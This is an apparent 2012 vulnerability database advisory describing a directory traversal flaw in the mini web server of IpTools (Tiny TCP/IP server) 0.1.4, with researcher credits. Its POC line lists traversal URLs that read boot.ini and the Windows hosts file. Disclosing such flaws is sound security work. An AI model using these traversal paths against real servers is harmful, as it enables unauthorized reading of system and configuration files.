IpTools(Tiny TCP/IP server) - WebServer Directory Traversal Vulnerability

2012-01-09T00:00:00
ID SECURITYVULNS:DOC:27511
Type securityvulns
Reporter Securityvulns
Modified 2012-01-09T00:00:00

Description

Title: IpTools(Tiny TCP/IP server) - WebServer Directory Traversal Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class: Input Validation Error

CVE:

Remote: Yes

Local: No

Published: 2012-01-06

Updated:

Impact : High

Bug Description : IPtools is a set of small tiny TCP/IP programs includes mini Webserver(Executable file: Thttpd.bat), etc. And its mini webserver does not properly sanitise filenames containing directory traversal sequences that are received from an HTTP Browser.

POC: http://127.0.0.1/..\..\boot.ini http://127.0.0.1/../../boot.ini http://127.0.0.1/..\..\windows\system32\drivers\etc\hosts http://127.0.0.1/../../windows/system32/drivers/etc/hosts ,etc.

Credits : This vulnerability was discovered by demonalex@163.com mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk Pentester/Researcher Dark2S Security Team/PolyU.HK